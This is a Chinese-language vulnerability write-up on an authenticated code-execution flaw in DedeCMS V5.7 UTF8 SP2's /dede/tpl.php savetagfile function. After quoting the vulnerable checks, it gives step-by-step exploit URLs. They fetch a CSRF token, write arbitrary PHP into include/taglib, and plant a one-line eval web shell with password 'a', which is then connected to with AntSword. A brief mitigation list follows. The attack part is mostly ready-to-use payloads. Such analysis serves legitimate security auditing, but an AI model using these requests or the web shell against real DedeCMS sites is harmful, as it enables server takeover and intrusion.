代码审计(PHP)-代码执行漏洞-DedeCMS V5.7 UTF8 SP2
字数 1082 2025-08-15 21:33:39
DedeCMS V5.7 UTF8 SP2 代码执行漏洞分析与利用
漏洞概述
DedeCMS V5.7 UTF8 SP2版本中存在一个代码执行漏洞,位于/dede/tpl.php文件中。该漏洞允许攻击者在服务器上写入任意PHP代码,导致远程代码执行。但此漏洞需要管理员权限才能利用,属于后台漏洞。
漏洞位置
漏洞代码位于tpl.php文件的251行至281行,具体在savetagfile()函数中。
漏洞分析
关键函数分析
-
savetagfile()函数:
- 首先检查参数"action"是否等于"savetagfile"
- 然后进行CSRF校验
- 最后将内容写入指定文件
-
csrf_check()函数:
function csrf_check(){ global $token; if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){ echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>'; exit; } }- 需要提供有效的token才能绕过CSRF防护
- token是登录令牌,存储在会话中
-
文件名校验:
if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename)) { ShowMsg('文件名不合法,不允许进行操作!', '-1'); exit(); }- 使用正则表达式限制文件名必须以
.lib.php结尾 - 允许字母、数字、下划线和连字符
- 使用正则表达式限制文件名必须以
漏洞成因
系统对写入的文件内容没有进行严格过滤,仅对文件名进行了简单校验,且仅依赖CSRF token进行防护。如果攻击者能够获取有效的token,就可以写入任意PHP代码。
漏洞利用步骤
第一步:获取有效token
- 访问以下URL获取token:
http://目标网站/dede/tpl.php?action=upload- 注意:只有
action=upload时会正常回显页面,其他参数会显示token异常
- 注意:只有
第二步:构造恶意请求
-
构造写入PHP代码的Payload:
http://目标网站/dede/tpl.php?filename=恶意文件名.lib.php&action=savetagfile&content=<?php phpinfo();?>&token=获取到的tokenfilename: 必须以.lib.php结尾content: 要写入的PHP代码token: 第一步获取的有效token
-
示例测试Payload:
http://127.0.0.1/dedecms5.7/dede/tpl.php?filename=test.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=获取到的token
第三步:验证写入结果
成功写入后,访问写入的文件:
http://目标网站/include/taglib/恶意文件名.lib.php
第四步:写入WebShell
构造一句话木马:
http://目标网站/dede/tpl.php?filename=shell.lib.php&action=savetagfile&content=%3C?php%20@eval($_POST['a'])?%3E&token=获取到的token
URL解码后的content参数:
<?php @eval($_POST['a'])?>
第五步:连接WebShell
使用蚁剑等工具连接WebShell:
- 连接地址:
http://目标网站/include/taglib/shell.lib.php - 密码:
a
漏洞限制
- 需要管理员权限(需要有效的管理员会话和token)
- 只能写入以
.lib.php结尾的文件 - 文件会被写入到
/include/taglib/目录下
防御措施
- 对写入内容进行严格过滤,禁止PHP代码写入
- 加强权限验证,不仅仅是CSRF token
- 限制可写入的文件目录和文件类型
- 及时更新到最新版本
总结
该漏洞虽然需要管理员权限,但一旦获取到管理员凭证,攻击者可以轻松写入WebShell获取服务器控制权。建议DedeCMS用户及时更新系统,并严格控制后台管理权限。